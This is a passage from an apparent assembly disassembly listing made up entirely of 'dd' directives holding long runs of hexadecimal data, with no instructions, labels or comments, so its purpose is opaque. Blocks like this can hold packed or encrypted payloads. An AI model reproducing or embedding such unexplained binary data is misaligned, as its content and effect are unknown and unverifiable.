0D5B602E6h, 443D3B5Ch dd 8FC0E84Bh, 0E116AD0Ah, 0C00895Fh, 7A93B0D2h, 3FA901D4h dd 0D1E8CBF2h, 606E2F9Fh, 81316400h, 72A401F6h, 69E1EB00h dd 9F34AB9Dh, 0A2DD04E9h, 8223E27Fh, 0F8819CD8h, 2F14E6D6h dd 34B29813h, 0A3001B2h, 0F43A0129h, 0DA78A606h, 31704C33h dd 2AC3C00h, 77154D4Bh, 0E291122Bh, 403CF004h, 0DBA7280Fh dd 463AB76h, 0DA60CBDCh, 0E3105A3Ch, 0CBB0A3D4h, 0D9043CD8h dd 91F1E109h, 8E9E34FCh, 0C0538FA2h, 7B03758Ch, 9CB2EC1Fh dd 8002035h, 0C437D53Bh, 0A84DFEEFh, 0BE2004E0h, 206713D0h dd 1ED66438h, 0C46EB227h, 0EC37648h, 8118DAB5h, 8A527A80h dd 0DD00DB28h, 0A7F191D7h, 3C1546CFh, 9C54E268h, 340B510Eh dd 0CDC28C00h, 0B779738Dh, 0F09F0CA1h, 0AFDFF806h, 98F31D00h dd 0F0CC775h, 3CC90F0Dh, 43C0D79Ch, 0D404B261h, 1195E1FEh dd 3C305D94h, 440F5E30h, 6F81C8h, 65AE570Ch, 0ED00B1Ch dd 2009432Fh, 0A9425850h, 49B2E908h, 42810C1Eh, 0B3F412E8h dd 0B938253Eh, 3C686294h, 0D38F211Dh, 94A2056Eh, 0C0358F1h dd 4DCF0223h, 0EAC42136h, 187C5842h, 0B3B70B40h, 9FE60E33h dd 0F0A1B9F2h, 0C8904EEAh, 8E0C1B64h, 0D0301310h, 5E0B0047h dd 48860312h, 0E61A7F05h, 409871AEh, 0F020E3F0h, 38656A62h dd 74A80335h, 0B8237CDCh, 3CE40051h, 9D84E344h, 4860949Dh dd 0E7014CC9h, 165A3F04h, 0D5FFD8BDh, 996FB200h, 3B5B0C53h dd 2851741h, 10582FE5h, 0A5C0658Fh, 0B0B30BD4h, 684B884Eh dd 0F1CC51A3h, 25C1816h, 0A6782C96h, 68766E97h, 0E449140Bh dd 445320B0h, 0BD91A0B6h, 0C840CB4Fh, 2D95C01Dh, 0E9EC5161h dd 53C5124Ch, 41653A34h, 0F5881D3Fh, 0FABCB04Ch, 0A5E70B3Ah dd 40F4CF1Dh, 0B2460F02h, 7CE05458h, 1000808Ah, 71BA1C05h dd 74F8B449h, 0AA000146h, 6A38F528h, 52C7DB6h, 0E41180C0h dd 9702DB02h, 0B050F182h, 0D4953Fh, 236E13FCh, 0F1041488h dd 2B2BAC4Dh, 16237Ch, 7638F8F3h, 0C4055D36h, 9CCBBE49h dd 0C8AAE440h, 90C0DC3Ch, 309F2DF4h, 0D44C04A5h, 0BCFCA854h dd 2E018C1Dh, 0DAB3150Bh, 48B98237h, 49E33F96h, 6090CCF0h dd 1500D7F1h, 8881D5D8h, 1EA67601h, 5FDC7C25h, 904D53D1h dd 3E7303E8h, 4CC8A907h, 77406031h, 4EC76164h, 0FD4CC02Bh dd 14098B7Ch, 1F4EAEFFh, 82191144h, 81E615ABh, 3C5BD178h dd 0E30421BCh, 0ED6C3043h, 1B2150FCh, 467CBC9Eh, 1E1D0013h dd 29A9A0F6h, 11F3128Ah, 82A89504h, 0C4AC8F40h, 918163F0h dd 5F354180h, 4651FC7Eh, 811C0B76h, 1C2CD0F8h, 84250808h dd 0A0E716CAh, 4B06AA34h, 61AB06D0h, 12900310h, 8B410229h dd 0DF655AB1h, 0AC2831F0h, 8EFC12BFh, 57BA0284h, 1818908Fh dd 0C7464AC7h, 796FB2B0h, 16596879h, 60B07E18h, 0BE41F12h dd 0C7A09CA7h, 66790C56h, 19E30F01h, 12309A42h, 37A3FC50h dd 6B60BA43h, 4CD05C49h, 91707F50h, 9940F537h, 6BE0580h dd 4B825E5Dh, 7C500F90h, 14B28A16h, 4C88050h, 8CC66162h dd 1B753240h, 1891B8E4h, 32C028A4h, 2640BF4Dh, 9F9811E1h dd 0F6542430h, 0FB8A1A09h, 50C11C5h, 0B26C166Bh, 3097F2E0h dd 0BC004ABDh, 43FA29E9h, 0F6340Ah, 0CA5E1646h, 49446153h dd 0C6304148h, 27078F5h, 0ABD43113h, 58FED83Ah, 0D78A804Eh dd 168207h, 0FD494D5Dh, 68C2C819h, 0AB469E09h, 89546B41h dd 96EF31Fh, 0F8DCAC64h, 0E8A31A60h, 0E37A0452h, 0E86426CBh dd 84445278h, 0D0203467h, 449E5716h, 0C9287028h, 2A30D8C0h dd 7B68718Ah, 0BAE2004Eh, 0F4CEB832h, 0BF0039B6h, 3B879724h dd 9A58CA3Ah, 0D0F49990h, 2E860357h, 9349907h, 1C00602Fh dd 9FC0130Ch, 0DB694184h, 0DC059100h, 0AC8D43E2h, 0CD4B0455h dd 903F0641h, 0C53914C0h, 0B8D2D05Eh, 0F1F079CFh, 0F761C1Eh dd 268101CCh, 3E30C7h, 0B42AE879h, 0C1956180h, 987D0361h dd 6C872A8Ah, 6CF0D574h, 9E74BE2Ah, 0B5C4C16Ah, 0F0A0D156h dd 532EE9DFh, 8515FC4Ch, 9E4D05A0h, 0FCD01314h, 45D0601Fh dd 0ACB83C71h, 24336h, 182A9F9Dh, 5F4F8FEBh, 0D864D062h dd 0CA00DD22h, 0DE81B687h, 1365268h, 0C45F092h, 0AE60CBD3h dd 6DC3849h, 2C9BE8C4h, 3498C802h, 8BFD8941h, 7FE2EC00h dd 40919A5Ah, 12135F97h, 0A4CF7DBAh, 0E45C1760h, 93E51744h dd 32A480C8h, 55165428h, 4E243C5h, 27D5AA03h, 0D2B01EC0h dd 62272D2Ch, 0DCA8E216h, 1C465E6Ch, 0CE2BC800h, 0AC4FA961h dd 6A36B812h, 0B2EC2880h, 9001B55Ch, 79CBCDE2h, 62F9008Ch dd 749C2A52h, 78BA0735h, 0DE0A77C6h, 38A1CA89h, 0D4ADD9FBh dd 0DF0C6CA3h, 0D8507D43h, 1C1E0D89h, 2B29B630h, 9710B02Fh dd 0E663C064h, 1FEFF2AAh, 0C429D976h, 4260CA39h, 0C04E6F6Eh dd 4DB93Eh, 42D1B356h, 39BCC87Ch, 0E3606100h, 8EAA5D6Eh dd 963A0249h, 0E554D5F9h, 0C4A5DE85h, 34E21230h, 0F46AAADCh dd 484F5500h, 41E6104Ch, 0EB12FFF2h, 0DCB023E2h, 0C9885FB3h dd 0AE74F06Ch, 27C9E700h, 9D48BC9Ah, 6400BFC8h, 3E26D352h dd 6B6C9101h, 61CBC26Fh, 0D7973980h, 71FC8B7Dh, 0B1BB9F00h dd 99578F95h, 9D631850h, 0BAEB2854h, 3009985Ah, 20168EE4h dd 0A16336D0h, 8698FFh, 59C04407h, 51C93DFh, 4C0F78D2h dd 0B0878DB7h, 21A24423h, 77BC30h, 2AECF81Fh, 380AEBB9h dd 8E89CEh, 8805208Ah, 27109055h, 1C235678h, 6D88734Dh dd 13004514h, 48AE97E9h, 538CB3h, 7CA6AC43h, 6DBA8F71h dd 851EA63h, 2D0DE7Ah, 1EF624AAh, 40C626B9h, 0BE080B5h dd 41071FFDh, 7F77F0AEh, 34205E4Bh, 0AB643090h, 8F0AB08Ch dd 0C35F5E4Eh, 0DDC18ECCh dd 0D4417BBCh, 7F780B2Ch, 90D8303Ah, 434A3320h, 0AB58B05Eh dd 9FD72859h, 4BB2DC03h, 546985FAh, 9E518CEh, 7CE3453Ch dd 0CA9330C5h, 0CE51A000h, 0E6CD1766h, 2EE34A99h, 9C2348h dd 11DD30B8h, 3EE201D3h, 0C4D98A27h, 0BA370094h, 0F17AEB3h dd 3E002502h, 5A0C7F26h, 1252ED4Ah, 729E272h, 7436C6A2h dd 8810A86Ah, 85BA5A4h, 0E1BB70h, 9C1960F5h, 0EFA19EF3h dd 0E7D7650Bh, 6668C88Eh, 8219540h, 46331C6h, 0C5F52C81h dd 216CDC2Ah, 0CBE610A1h, 0A3E5E109h, 585024h, 1B8FEA32h dd 1412E28Ch, 1C88804Ah, 0B4740DFh, 97E5704h, 70AC11D2h dd 0CD0BF020h, 0C455CE43h, 0E37644C8h, 82E70418h, 942AA29h dd 946EC49Dh, 8E57C1Ah, 0C0671BE4h, 8F4F691Fh, 0CA619E04h dd 0E8B28B06h, 7400492Dh, 1C6573D1h, 3C983775h, 5A86DF20h dd 61048C8Dh, 0CCD13C16h, 42F86CD0h, 90ACAAC7h, 2D6059Ch dd 5EAB3E9Bh, 90F2EAF0h, 0E5583102h, 7044CD48h, 75432FD8h dd 2DE39420h, 0D71C9BDEh, 0B2406104h, 0E175BACDh, 7C5C48DAh dd 38C33E8h, 552DF7C2h, 2EE07512h, 1576387h, 90B3A3A4h dd 1C46F5Fh, 31AD5E52h, 6B93F4D9h, 4B87C84h, 0C8BC1EDh dd 0CB41D24h, 13BCC063h, 7195696h, 0E0F82F95h, 0F86DC51Eh dd 0E8D4047Fh, 0F9025CA3h, 74BD0034h, 525165E3h, 137C7405h dd 0E303A83Dh, 3094B244h, 0E301DFA1h, 6448D120h, 0E83343D7h dd 0B6301BF2h, 33EC00D8h, 235F836Dh, 795F3BE9h, 9A97F844h dd 0B0047895h, 3D09B018h, 465E707Ch, 1BC41818h, 80179060h dd 230137A3h, 656D7215h, 43FD8FFDh, 0A423F871h, 0C0359B1h dd 1F28E8C4h, 28A2627h, 1C2B387Bh, 87B4A6D7h, 0D0685AD9h dd 8AB58580h, 8362AC00h, 0AF99C695h, 0A79D01D6h, 0E490307Dh dd 0F0223E89h, 0E9522068h, 0D0FD0253h, 1D9746A5h, 22F8844h dd 734F4E60h, 0E7F4E5h, 0FE082D57h, 6483188Dh, 0CD958490h dd 603344C8h, 5805EAC8h, 0D0068A91h, 586B2FFEh, 0AF60E250h dd 5E614940h, 32A8D1CDh, 0C7CFDD8Ah, 8948E805h, 1448A4E8h dd 980BBA7Dh, 8741D72h, 0AA7FC88h, 54E389h, 0AFB1270Ch dd 10C05146h, 904A8FACh, 0F0405ABAh, 0CF18E2D4h, 0BE3168CCh dd 617276h, 0C1BB2F6Dh, 46A19C8Bh, 0DA58E525h, 278B0C8h dd 3E2B8621h, 787A9564h, 53E038E9h, 230E120h, 6474EF0Ch dd 1F63B600h, 165F4D91h, 0E63E022Eh, 62CF309Eh, 32A8225Dh dd 48140102h, 0DC9E2A80h, 4261E180h, 0FC00F7EFh, 8E845B76h dd 966C8F10h, 0BED18944h, 0F4A85Eh, 0DDC1B5F9h, 73249B78h dd 38C497h, 7C2DEE44h, 0BDCBF0E5h, 0F6F0AAh, 7B0F0510h dd 0ED921F20h, 447C201Ch, 3401ADABh, 38953E82h, 0B031CCE3h dd 0ED807078h, 694A23F1h, 0F134471h, 0BD0F0B37h, 9E895F40h dd 6EA09103h, 0B0E06ACCh, 7C0C0BFCh, 2C04E118h, 0C052EA30h dd 1450946Fh, 260091E8h, 15D4058Ch, 0C434BCCEh, 88888A07h dd 9C749047h, 5AE58008h, 0A581F06h, 400480A3h, 231CA4Fh dd 483FAA01h, 8CF038CCh, 4E2A5918h, 32A88814h, 10E3F140h dd 2FFEF49Bh, 1354E151h, 74B33A00h, 88D96F0Ah, 574058ECh dd 904994E9h, 0D08653D4h, 50625C10h, 829D3644h, 0B7133CE8h dd 0DDAC8094h, 42581E91h, 91CC9795h, 41D58001h, 19267AAh dd 5DB5193Ah, 6CC964ADh, 0F1918144h, 74680E2Fh, 54BEFB00h dd 0A53234ACh, 6777C617h, 9C23500Ah, 610F688Ch, 3C6A03F4h dd 0FBA46CE6h, 0FCC1B6E8h, 0E911A814h, 0C80D26A8h, 5FE04680h dd 0B7F697A2h, 87FA7402h, 0BBB1CCA4h, 1C23C03Eh, 9FF82C00h dd 0FDA3E913h, 38256468h, 0ED950C72h, 0E9D4C0D8h, 85B7B1C0h dd 6CB80BC8h, 1F6A8200h, 43BCCA08h, 0EC93E316h, 0BE63C0E0h dd 0DAB284B8h, 70F4B9FFh, 0E400CB5Bh, 8056BD0Eh, 93E60BC4h dd 287E11B8h, 461139Ch, 8BC3FFh, 0F4292C3Bh, 319C1559h dd 0C91FD488h, 1230046h, 0B43F55F0h, 2700B95Ch, 0F28451D4h dd 0DF9D30B8h, 6A271A12h, 0C7C934ACh, 465EB47Ch, 49320B1Dh dd 590803A8h, 0A018C8FAh, 8462241Bh, 113D0014h, 0CEDC04ABh dd 0C0A3BC02h, 57C8864Dh, 3090848Bh, 682D12ECh, 898CFB8Ch dd 0C02066CCh, 7ADE6B15h, 3674C30Fh, 4B01E08Ah, 5043E2EAh dd 12CAC012h, 0A3621FFEh, 301DB2D4h, 4502A6F8h, 0DA91C6FAh dd 0F94FE8Bh, 5F0C88DBh, 835A6189h, 0EB95EC5Fh, 0CD127CE0h dd 54CC5243h, 8029D6EDh, 0F740AB3Ch, 1B989101h, 1E529705h dd 2CC027Ah, 0B0F6AF2Eh, 40F4E500h, 9212977Ah, 52CBE14h dd 0F0C5FD93h, 6B74C6D4h, 4FE71F88h, 0E0688849h, 402ACC89h dd 0DCC7F3F4h, 0FE07A105h, 3EC406A6h, 3D54DB31h, 38CD02Fh dd 234B9B1Fh, 0A600FCB6h, 0D785290Dh, 1B021847h, 5175A90Ch dd 1B8DA2Ah, 0E09570ACh, 606252A6h, 0D092FFDh, 8F48857Ch dd 563A88Ch, 8813BAD5h, 80E52ACCh, 8AD0C241h, 16855EBh dd 400615E5h, 258830BAh, 0D444CEE8h, 0F189D300h, 99ED69B7h dd 602C0010h, 444807D5h, 2701D84Bh, 652B352Ah, 206CB4B7h dd 0A5051412h, 93DAE800h, 1A686A9Dh, 901755B8h, 50801691h dd 62E58EC8h, 0C20020B7h, 31B996Eh, 247F6B18h, 2EE233F5h dd 0C8864844h, 0BA0FD000h, 2BC0B87Ch, 277F09B5h, 0B4508E62h dd 55E54709h, 0CB4004E0h, 0C610C8E2h, 5133C945h, 1812F194h dd 61C64C8Fh, 139CFC74h, 49ECA3E6h, 3C5E3E50h, 1F1646D6h dd 3680A713h, 0E972B0F2h, 0DF740024h, 83C81991h, 0F707C509h dd 0A3E8B6DDh, 8CFCAF94h, 465B3709h, 1C97C854h, 0EDE77490h dd 0C68B80BEh, 31B97231h, 2E3A85D4h, 2361058h, 6F6A7BC0h dd 50028106h, 2337AC97h, 0CB08E8B9h, 89AA405Eh, 594D8A30h dd 0B137D7BDh, 42320530h, 5BECA2D1h, 4370082Fh, 0D96E008Bh dd 0CA5EE22Fh, 55A1020Ch, 1043E6ABh, 0CE80984Bh, 40040DD1h dd 7FF10814h, 0E702D801h, 8027ADAh, 0A9F43076h, 0A044ECh dd 94EB3A2Bh, 5FB94D7Bh, 0BB06EA1Fh, 170D3F45h, 122A80C1h dd 30024192h, 0D0BB0C50h, 8ED404B7h, 18A2A0F6h, 4C4F6430h dd 0A22C0F7h, 35B15E01h, 270C7DD0h, 0AAD9B0EBh, 54730734h dd 146802E0h, 0A478B42Ah, 60124C01h, 30B291FFh, 0D30FA838h dd 4868FCDh, 800A951h, 87FED647h, 0E6103Dh, 5348F8FCh dd 911C6DABh, 7A04C275h, 0CD5CD901h, 0F90432EEh, 6B1248DEh dd 0B6B248B0h, 0C7A5EE64h, 9EB05627h, 1C3B2968h, 0D8A07B16h dd 5CD44964h, 0ECC2772Dh, 49A4A15Dh, 0EC380EEFh, 0FC5174D4h dd 5208C03Eh, 0FF291F04h, 0A8A738EAh, 580BD0D0h, 961CDE8Dh dd 0F40A3C6h, 0A904B277h, 1A4450BEh, 0F902CBE5h, 0B38E1589h dd 0C450F30Bh, 4CA0E1D7h, 72C95B4Dh, 257F3DA4h, 0C810E40h dd 204B8C6Ah, 0A837EA08h, 3E273084h, 5CC20B1Fh, 0B80AD0F0h dd 0A860293Fh, 8A947021h, 0E1E83090h, 1366F403h, 0C09C9D51h dd 8C37054Ch, 120DA8A8h, 0B04BFB5Fh, 54CC10CDh, 2C270077h dd 472A1A55h, 8E2EE09Dh, 4008C0ACh, 0E8521369h, 45353934h dd 6AFFA4EBh, 0DD37070Ch, 56E0B191h, 0F658E97h, 0CDD79953h dd 0AD50D260h, 473A0924h, 0C20B80C0h, 0B756F87Fh, 20906742h dd 5841F065h, 0C071D05h, 0FB91AAEFh, 0D40CFD7h, 0C01134D6h dd 0FC4D6A71h, 0CD004E63h, 53F67B02h, 72D7CDFh, 11C80A74h dd 91D4704Ch, 5102E30Eh, 3B907345h, 808E167h, 0B280202Fh dd 0DC8293BCh, 0DDB84050h dd 8558F316h, 12D8005Ch, 0F19D5A0h, 0FE5200ACh, 8DFD54AAh dd 0FB2DCA3Ch, 5D8CD9D3h, 73714783h, 0AFC9836Dh, 755F2141h dd 7CD432E0h, 4ABA3174h, 8CCCCF10h, 3042A720h, 185B63F2h dd 2819B70Dh, 4B20C6AFh, 683C098Ch, 0FA635828h, 1826D020h dd 18A18B30h, 10C4625Fh, 0F068A72h, 663138C7h, 32081801h dd 0BDB46401h, 103F3140h, 0FF03F81Dh, 36F26118h, 0C6BFAE08h dd 404F1D18h, 6109F933h, 0EE1818C2h, 2D982843h, 0D57E18C4h dd 1013EC06h, 209C4631h, 40031070h, 9BA02918h, 0C6E8BF18h dd 103D1730h, 31E9F320h, 4C281FC3h, 67CE0166h, 34090888h dd 3AD19C18h, 0B6C8040h, 0F92D10C6h, 0F4973140h, 1EAEB08h dd 20950339h, 9619B8A2h, 9550A111h, 19D46208h, 4130EBE6h dd 0D8B6E057h, 0F58B3110h, 3FFC608h, 4B6910A0h, 0A8FC2AF3h dd 96911D63h, 2E1018C5h, 38E96049h, 5A9F18C6h, 0D1F26510h dd 0C6944634h, 683130AEh, 1D8E08D2h, 11DA1898h, 30C690ABh dd 6510FB18h, 462909F0h, 302AC690h, 0D291C463h, 2B18313Ah dd 8CB58C71h, 1052E118h, 856669Bh, 2731599Ch, 22551029h dd 0B379088Ch, 9E66F830h, 3171AF20h, 0E08F67Fh, 0B18888Fh dd 1C5A0CC0h, 61C47838h, 490448D0h, 0C06C0A44h, 10B1C99Fh dd 0A6075BC8h, 5A490815h, 0F2331008h, 21B11F32h, 64609CA2h dd 7F072603h, 0BF1A4008h, 650FE0A8h, 8C8208C6h, 90CF4930h dd 8ED5F19h, 9442425h, 0DE20C092h, 0BC705445h, 0C4605456h dd 24A581E6h, 8966C3D8h, 2AA1EF38h, 6388A20Ah, 971082Fh dd 1920C154h, 0FCA6E9C6h, 2EB83148h, 1213A28h, 9055203Eh dd 0BC9D7844h, 913AA04h, 48D82235h, 67860214h, 100DF703h dd 31423D10h, 1037C951h, 8C0AC701h, 20979908h, 312092F5h dd 0C0109816h, 94780124h, 8110E903h, 9510EB52h, 0DCB12A1Fh dd 0F6993E66h, 29A76361h, 826BB7Bh, 1B8C1CE0h, 66912031h dd 71970816h, 0C8C8E932h, 0CC4A4FEh, 49BFA892h, 0B051AEDCh dd 8882343h, 0AC0F2720h, 0C8CC89A5h, 17C8715Ch, 7D26168h dd 814C8AA4h, 80D01840h, 0B5CC9A10h, 20562EEh, 3FAD0316h dd 0FCC82241h, 8B006765h, 0A6A40907h, 0F6430Eh, 8ED8DFCh dd 69579068h, 0C0593AF1h, 11E0243Eh, 3C55012Bh, 4030727Dh dd 441FD496h, 70045A01h, 2F9D2A88h, 6AFB3080h, 0BDEFD4BFh dd 0FC894E06h, 11C322h, 50C1419Bh, 0CBCAE78Dh, 7F02A7FEh dd 0ABB66865h, 5154E049h, 0DF543C04h, 5F3C5E1Eh, 8293F806h dd 0CC8CB43Dh, 7800784Eh, 0EDDC5A43h, 62E70787h, 0C048CF7Eh dd 0F1B17359h, 0A0646841h, 80B8BC3Bh, 4CE9247Bh, 475BE3A4h dd 62C83091h, 7029BC4h, 48808EFh, 0C57747AFh, 8E3C0D43h dd 9481F668h, 478F9E2Ah, 75D7D0C8h, 0E3F66BC6h, 5DA3B400h dd 54F2419Ch, 0A07A079Fh, 8090707Dh, 94D54207h, 5014E99Ch dd 62D30BC8h, 0F02C5835h, 4F2F18FEh, 77377045h, 0AADD4004h dd 0EAA2CBh, 0C23F9E0Ch, 0D3E3107h, 0C0B414D0h, 5FE401A0h dd 0E506BADCh, 0E10EF438h, 0C6206F7Ah, 0BD09693Dh, 2040A30Eh dd 68083EDh, 5150001Fh, 0CF9546C9h, 1574D6D3h, 40C785E4h dd 0D1B06882h, 267A83h, 0AB536F11h, 0B2618FCEh, 3B21BB00h dd 49FC50CAh, 42FE03E2h, 48C44CF3h, 0D1DEC3AFh, 86E5983Ch dd 78FCCBA3h, 86520670h, 0F0101164h, 0ACCC3C00h, 0CE463E0Ch dd 12B2B0A3h, 801A5430h, 838828E0h, 9E2D6600h, 0E5E9D37h dd 0DB3900C9h, 0E4D55743h, 0FF03E210h, 3CF19071h, 0CAC5C0E3h dd 59200037h, 0ECBE5266h, 0DD096AFFh, 2A497E2Fh, 0E8275850h dd 18A41C68h, 0A06B62CBh, 85078EAAh, 59D09E09h, 10880DF4h dd 0E4634B82h, 5706E680h, 0BECBDBE7h, 2B4C03E9h, 0A1F9E57Eh dd 2767488h, 7142090h, 3CF4C26Ah, 0CEC389D2h, 0FB441087h dd 944A023h, 40A41515h, 2A823C9Dh, 89033884h, 22BBECh dd 823E9D18h, 71233951h, 206D90Ch, 4068ADh, 1FC4A31Bh dd 6EE0FF37h, 3CB0F0Ch, 3084E042h, 0CA587B01h, 9C480993h dd 0D4905Ch, 45B7AA25h, 603106F4h, 62DA50D6h, 0D8A0AE04h dd 48058768h, 0B654B37Dh, 9341EC04h, 0A8B17601h, 0B08824E1h dd 9B3E6700h, 0FC72C2B6h, 0A380027h, 2B8B6F97h, 0A67D4CD6h dd 98A09CA2h, 0CEB11B1Fh, 8BCF1303h, 0F8630843h, 3C477FCh dd 7069C4Ah, 0B9068871h, 0B833CB5Ah, 56700040h, 30B008B7h dd 510A5F2Ah, 905CCF03h, 7F0EB421h, 9F6F411Eh, 8C3CE1CBh dd 7D84CD3Eh, 90234FCCh, 57A42404h, 48F7030Fh, 6142E363h dd 0F990906Dh, 0CA48DE4Ch, 840A40h, 0D8F6E6BAh, 0DF4C2891h dd 2E87107h, 770C104Ch, 9AFD8A40h, 55E5208Ch, 946F803Dh dd 7ACDD61h, 94A56B82h, 0E315AFB0h, 180D6FC2h, 753962E3h dd 0EF246800h, 0EA21CD4Ah, 0FDBE03C1h, 0D29CFBCEh, 0CA6201A1h dd 411FEC76h, 18788514h, 4971E463h, 62B80751h, 89024272h dd 0DC4C9607h, 3248D2B2h, 98909268h, 4975C92h, 0E769CBADh dd 7238D07Fh, 161FDA0Ch, 9870DF63h, 3130210Dh, 0FBE8B570h dd 77642222h, 0C8C47479h, 8092AD90h, 78DC02B3h, 53A70F0h dd 26AC4DA0h, 911FC4E1h, 84A0E714h, 0A307A71Eh, 66C81072h dd 560F3475h, 61763AFh, 1211743Eh, 2B50CBAh, 800A8444h dd 0E92FD900h, 778A0451h, 0EBE50724h, 37D39C07h, 0E7A899F0h dd 972124CBh, 229D135Ch, 0E4A7E0F8h, 0AA03AF90h, 10092D12h dd 0C0E8649Fh, 251C7DA8h, 64D08D30h, 0A058CE34h, 48E44CCCh dd 0CC81DC01h, 7F7008B3h, 62274041h, 0A040C4A0h, 2689E356h dd 0A6906104h, 0CEDBC044h, 0A4F00B59h, 0E59A6118h, 4868EA4Ch dd 899F5C79h, 0A01BB9A1h, 0E08278E2h, 0A88EE440h, 8450A981h dd 9E8C2009h, 30CB6044h, 0A838DAB3h, 0CC187B92h, 0A310FF5Ch dd 963F2430h, 0AD4E405Ch, 68121802h, 0EC24CDABh, 2136D003h dd 0EFDCB954h, 7B3BEC41h, 0BB193C22h, 0DC5DE0B4h, 20C00C7Ch dd 28247437h, 1CD0E04Ch, 0C143C90Ah, 0CB9C3B9Eh, 0E80C6587h dd 3E3E5188h, 4184C906h, 0CAC08D8h, 0CCE11103h, 9CEF7CBh dd 4F486FB0h, 0E8B7C00h, 0D6003E16h, 0B44CCFFAh, 4D834032h dd 0CA28BC9Ch, 170718C0h, 812A1098h, 791EB0B2h, 3A0967B8h dd 0C2C8A01Bh, 1F2411A6h, 14870B64h, 7A0B9C7Ch, 0B88075D6h dd 2E86B36Ch, 312A54FEh, 793B8C2Fh, 0DFA502FDh, 9020AA5Ch dd 8061E2BCh, 0F071C2FAh, 0CEE51E01h, 5565FB86h, 75D4588Ch dd 0C90070A1h, 0F4D07E64h, 4D2ECC7Ch, 0BC014C0Eh, 6E0358A3h dd 0ADC089EEh, 0D84C0104h, 0FC26C902h, 0AD4EFE64h, 2CB424BCh dd 91B002E7h, 3C62E63Fh, 4C7C412Ah, 216F08E4h, 0D054C945h dd 4342DD90h, 69EAEC00h, 9C089590h, 5E573030h, 0F27DE0D0h dd 67FA1109h, 2A54A04Bh, 28EB8946h, 3E865D6h, 68CD59E6h dd 7C8712B2h, 0D205B129h, 0D1CA3DD0h, 729C00BAh, 772C9ADFh dd 94983013h, 496A2840h, 10B27409h, 0A17D06h, 9A08BBCAh dd 0A6326330h, 7D9003E0h, 0A9DB8409h, 96C294Ch, 98FA26E7h dd 5886CD4Ch, 0E058DC7Dh, 0C702D680h, 0D913419Bh, 9402F8FEh dd 9448D855h, 1FE7208Ch, 0B323D63Bh, 6E84Ah, 1B8B0B21h dd 0B4467DFEh, 85E6E901h, 14E8CA7Ch, 40912C70h, 0C8F5876Fh dd 302E8F96h, 0AABC44B4h, 0A3EE34E3h, 22189898h, 6010633Bh dd 0E048FFE3h, 1F3607D6h, 0BFE269D2h, 8599D91Bh, 0E5F89C15h dd 2A04D824h, 5302ADFEh dd 0D45C6ACBh, 47D09C00h, 24300DEAh, 0A45CBCA1h, 955285C8h dd 1568C087h, 0ED58B124h, 83E44C58h, 81602Ah, 0CD27130h dd 0CEC17856h, 4A45F500h, 0C962C24Dh, 0F609426h, 3F09D753h dd 47268478h, 0CB0948E5h, 3B58A178h, 48DAA3AEh, 81384A44h dd 0FA808A8Ah, 4B43D828h, 0EE24D0EFh, 0ED89174Ch, 0CC7C54AAh dd 0FC62BE00h, 37E988B7h, 0AC0C0A50h, 1B147A1Bh, 224CE230h dd 5DE04BF7h, 0D3170307h, 0A5183075h, 13EBCAD0h, 3539C7EDh dd 83BC98E0h, 0CB28EF60h, 3DFB1937h, 6189E455h, 0B0D83662h dd 7EF31E03h, 0C2E366AAh, 516CC20Ch, 0FB8BBC54h, 0B4C1B32Fh dd 0E69889D6h, 0E55C1A78h, 90C81A34h, 40F8D261h, 0BA6BABECh dd 536388C3h, 5B783B3Fh, 4026F197h, 0CA013B24h, 0EB03E534h dd 98D8E20h, 0CC9ECCFh, 9878C5C4h, 0D6CC0060h, 0FD0BD8ECh dd 0CB6040C7h, 3151ED11h, 68AE6099h, 0E75F91DEh, 4E28FC02h dd 0E837262Ah, 0FC5827A4h, 3FCB10D9h, 0F48B0317h, 938FEDD5h dd 503902DBh, 40C82CEBh, 84CAC99h, 24E490B8h, 3004BE3Fh dd 46115D39h, 0B4D1CB26h, 61EA6000h, 785595D5h, 6E7000C9h dd 59A2FD42h, 0CE65C603h, 30023CF9h, 21471257h, 0B8E7982Ah dd 33C217C8h, 0E402B41Fh, 6EE3D557h, 28E66578h, 0DFC80501h dd 90F888AAh, 0EB005341h, 1C453947h, 39E8E7EAh, 45F01F4Bh dd 0CC2DFA29h, 0D640D37Ch, 90EDF4D4h, 187F6281h, 2F0B147Eh dd 5DE30978h, 0D3D2A801h, 0A4B0705Ch, 78ABA902h, 0CAF4664h dd 1C60B97Eh, 0EC34D838h, 6D620635h, 78DDF60Bh, 0AE4A9E03h dd 0C25C4F12h, 55088075h, 9BAA3B6h, 4D1330A0h, 87D2E8A4h dd 1031A67Ch, 50CD4000h, 6803F83h, 90736038h, 0E7089BD1h dd 4C62250Bh, 0F9102530h, 481FC3F8h, 7D61CC13h, 0AA32CCA0h dd 5C2CE1A6h, 0FAE0000Ch, 12F0A4C7h, 9914558h, 3E2F24Ch dd 6D4EF4h, 7829E438h, 307031C3h, 907A7430h, 543B639h dd 0B1CBA6EFh, 83A81F10h, 87BD31D7h, 1040ABDAh, 0BE1FBFAEh dd 885430A4h, 0E7AF00DCh, 0B4801E86h, 88B8960Eh, 0E501DFFDh dd 8F2FAD9Ah, 90F0B421h, 0AE18C7C0h, 588B79D1h, 51AB4481h dd 87143C57h, 0ECBA5FCAh, 5E309D40h, 0E820C24Bh, 80A19549h dd 72798A42h, 145407C0h, 98105316h, 0A802CF30h, 59082A28h dd 2D006CE2h, 5865490Ch, 0F101520Bh, 0FAA80F02h, 0A5CD7E7Dh dd 5816DF60h, 108BF4FBh, 3EA05410h, 0C4170901h, 42716350h dd 3149D050h, 76777Ch, 0CE3E69D0h, 0F6B835EEh, 0A162B10Ch dd 0BD41B047h, 10C67C42h, 62C87200h, 0E5F978D8h, 0DAFB0063h dd 9F66AE35h, 7C90248Bh, 81E3C63Fh, 9E4FC71Fh, 49E20630h dd 203A098h, 5DD083Ah, 0BF9E6BEh, 1C31A8D1h, 3FD4E801h dd 81EC780Fh, 0DD8662E7h, 193FB060h, 0E8C49D06h, 369CC43h dd 1001A730h, 9121CCDBh, 0D20BCACh, 1D39B239h, 0CA04B81Bh dd 50B0AD46h, 18042DDDh, 0F581030h, 7DDC9A01h, 5455F9D6h dd 0C5E4E2ECh, 9CD0FC48h, 5381BBBCh, 4B2A3474h, 0CEC8C0F2h dd 845136CBh, 65428F4h, 25E80640h, 3076F328h, 0ECDF840Bh dd 98340A1h, 14483314h, 1928A390h, 44B8CC97h, 13CC12Eh dd 696052ABh, 0B89C4723h, 605ACBF8h, 860B8037h, 9D00AB28h dd 0AF29FAAAh, 0B4486E17h, 55CB0680h, 1B00283Fh, 0D1C2F9EFh dd 0EC5D9CD4h, 0D2780F5Eh, 0A0DBEA06h, 3E34C7EDh, 0FFE57BA3h dd 